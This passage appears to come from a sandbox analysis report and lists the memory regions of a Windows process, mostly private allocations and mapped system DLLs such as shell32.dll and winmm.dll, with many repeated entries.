start_va = 0x2a6e4c0000 end_va = 0x2a6e53ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e4c0000" filename = "" Region: id = 5023 start_va = 0x7ff75542e000 end_va = 0x7ff75542ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75542e000" filename = "" Region: id = 5025 start_va = 0x7ffd17820000 end_va = 0x7ffd17838fff entry_point = 0x7ffd17820000 region_type = mapped_file name = "playsndsrv.dll" filename = "\\Windows\\System32\\PlaySndSrv.dll" (normalized: "c:\\windows\\system32\\playsndsrv.dll") Region: id = 5058 start_va = 0x7ffd17810000 end_va = 0x7ffd1781afff entry_point = 0x7ffd17810000 region_type = mapped_file name = "msctfmonitor.dll" filename = "\\Windows\\System32\\MsCtfMonitor.dll" (normalized: "c:\\windows\\system32\\msctfmonitor.dll") Region: id = 5059 start_va = 0x7ffd17790000 end_va = 0x7ffd17803fff entry_point = 0x7ffd17790000 region_type = mapped_file name = "msutb.dll" filename = "\\Windows\\System32\\msutb.dll" (normalized: "c:\\windows\\system32\\msutb.dll") Region: id = 5060 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 5061 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5923 start_va = 0x2a6e540000 end_va = 0x2a6e5bffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e540000" filename = "" Region: id = 5924 start_va = 0x7ff75542c000 end_va = 0x7ff75542dfff entry_point = 0x0 region_type = private name = "private_0x00007ff75542c000" filename = "" Region: id = 5978 start_va = 0x2a6e5c0000 end_va = 0x2a6e9b9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e5c0000" filename = "" Region: id = 5979 start_va = 0x2a6e9c0000 end_va = 0x2a6ea3ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e9c0000" filename = "" Region: id = 5980 start_va = 0x2a6ea40000 end_va = 0x2a6eabffff entry_point = 0x0 region_type = private name = "private_0x0000002a6ea40000" filename = "" Region: id = 5981 start_va = 0x7ff755428000 end_va = 0x7ff755429fff entry_point = 0x0 region_type = private name = "private_0x00007ff755428000" filename = "" Region: id = 5982 start_va = 0x7ff75542a000 end_va = 0x7ff75542bfff entry_point = 0x0 region_type = private name = "private_0x00007ff75542a000" filename = "" Region: id = 5983 start_va = 0x7ffd15360000 end_va = 0x7ffd15610fff entry_point = 0x7ffd153d5bec region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 5984 start_va = 0x2a6eac0000 end_va = 0x2a6ebbffff entry_point = 0x0 region_type = private name = "private_0x0000002a6eac0000" filename = "" Region: id = 5985 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5986 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5987 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 5988 start_va = 0x2a6e200000 end_va = 0x2a6e200fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e200000" filename = "" Region: id = 5989 start_va = 0x2a6ebc0000 end_va = 0x2a6ee94fff entry_point = 0x2a6ebc0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 5990 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 5992 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6028 start_va = 0x2a6e210000 end_va = 0x2a6e210fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6e210000" filename = "" Region: id = 6185 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 6264 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3f0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 6284 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6285 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 6319 start_va = 0x2a6e3c0000 end_va = 0x2a6e43ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e3c0000" filename = "" Region: id = 6320 start_va = 0x2a6e440000 end_va = 0x2a6e4bffff entry_point = 0x0 region_type = private name = "private_0x0000002a6e440000" filename = "" Region: id = 6321 start_va = 0x7ff755554000 end_va = 0x7ff755555fff entry_point = 0x0 region_type = private name = "private_0x00007ff755554000" filename = "" Region: id = 6322 start_va = 0x7ff755556000 end_va = 0x7ff755557fff entry_point = 0x0 region_type = private name = "private_0x00007ff755556000" filename = "" Region: id = 7886 start_va = 0x7ffd1ade0000 end_va = 0x7ffd1ae40fff entry_point = 0x7ffd1adf32c8 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 7887 start_va = 0x2a6eea0000 end_va = 0x2a6ef9ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6eea0000" filename = "" Region: id = 7888 start_va = 0x7ffd13c20000 end_va = 0x7ffd13c5bfff entry_point = 0x7ffd13c20000 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 7889 start_va = 0x7ffd13c10000 end_va = 0x7ffd13c17fff entry_point = 0x7ffd13c10000 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 7890 start_va = 0x7ffd19d70000 end_va = 0x7ffd19d7afff entry_point = 0x7ffd19d71010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 7891 start_va = 0x2a6e220000 end_va = 0x2a6e220fff entry_point = 0x0 region_type = private name = "private_0x0000002a6e220000" filename = "" Region: id = 7892 start_va = 0x2a6e230000 end_va = 0x2a6e230fff entry_point = 0x0 region_type = private name = "private_0x0000002a6e230000" filename = "" Region: id = 7893 start_va = 0x2a6efa0000 end_va = 0x2a6efa0fff entry_point = 0x2a6efa0000 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 7894 start_va = 0x2a6efb0000 end_va = 0x2a6efcffff entry_point = 0x2a6efb0000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 7895 start_va = 0x2a6efb0000 end_va = 0x2a6efb0fff entry_point = 0x2a6efb0000 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 7896 start_va = 0x7ffd15900000 end_va = 0x7ffd15975fff entry_point = 0x7ffd1590b7b0 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 7897 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7898 start_va = 0x2a6efc0000 end_va = 0x2a6efdffff entry_point = 0x2a6efc0000 region_type = mapped_file name = "hdaudio.pnf" filename = "\\Windows\\Inf\\hdaudio.PNF" (normalized: "c:\\windows\\inf\\hdaudio.pnf") Region: id = 7899 start_va = 0x7ffd13c00000 end_va = 0x7ffd13c0afff entry_point = 0x7ffd13c00000 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 7900 start_va = 0x7ffd13be0000 end_va = 0x7ffd13bfafff entry_point = 0x7ffd13be0000 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 7901 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7902 start_va = 0x7ffd13bd0000 end_va = 0x7ffd13bd9fff entry_point = 0x7ffd13bd0000 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 8010 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8011 start_va = 0x2a6f040000 end_va = 0x2a6f041fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f040000" filename = "" Region: id = 8012 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8013 start_va = 0x2a6f050000 end_va = 0x2a6f059fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f050000" filename = "" Region: id = 8014 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8015 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8016 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8039 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8040 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8041 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8042 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8043 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8184 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8185 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8186 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8187 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8188 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8208 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8209 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8210 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8211 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8212 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8336 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8337 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8338 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8339 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8340 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8360 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8361 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8362 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8363 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8364 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8488 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8489 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8490 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8491 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8492 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8513 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8514 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8515 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8516 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8517 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8640 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8641 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8642 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8643 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8644 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8666 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8667 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8668 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8669 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8670 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8790 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8791 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8792 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8793 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8794 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8817 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8818 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8819 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8820 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8821 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8942 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8943 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8944 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8945 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8946 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 8970 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 8971 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8972 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 8973 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 8974 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9167 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9168 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9169 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9170 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9171 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9193 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9194 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9195 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9196 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9197 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9368 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9369 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9370 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9371 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9372 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9392 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9393 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9394 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9395 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9396 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9517 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9518 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9519 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9520 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9521 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9544 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9545 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9546 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9547 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9548 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9670 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9671 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9672 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9673 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9674 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9696 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9697 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9698 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9699 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9700 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9822 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9823 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9824 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9825 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9826 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9848 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9849 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9850 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9851 start_va = 0x2a6f060000 end_va = 0x2a6f061fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9852 start_va = 0x2a6f070000 end_va = 0x2a6f070fff entry_point = 0x0 region_type = private name = "private_0x0000002a6f070000" filename = "" Region: id = 9977 start_va = 0x2a6efc0000 end_va = 0x2a6f03ffff entry_point = 0x0 region_type = private name = "private_0x0000002a6efc0000" filename = "" Region: id = 9978 start_va = 0x2a6f060000 end_va = 0x2a6f060fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002a6f060000" filename = "" Region: id = 9979 start_va = 0x7ff755426000 end_va = 0x7ff755427fff entry_point = 0x0 region_type = private name = "private_0x00007ff755426000" filename = "" Region: id = 9980 start_va = 0x2a6f060000 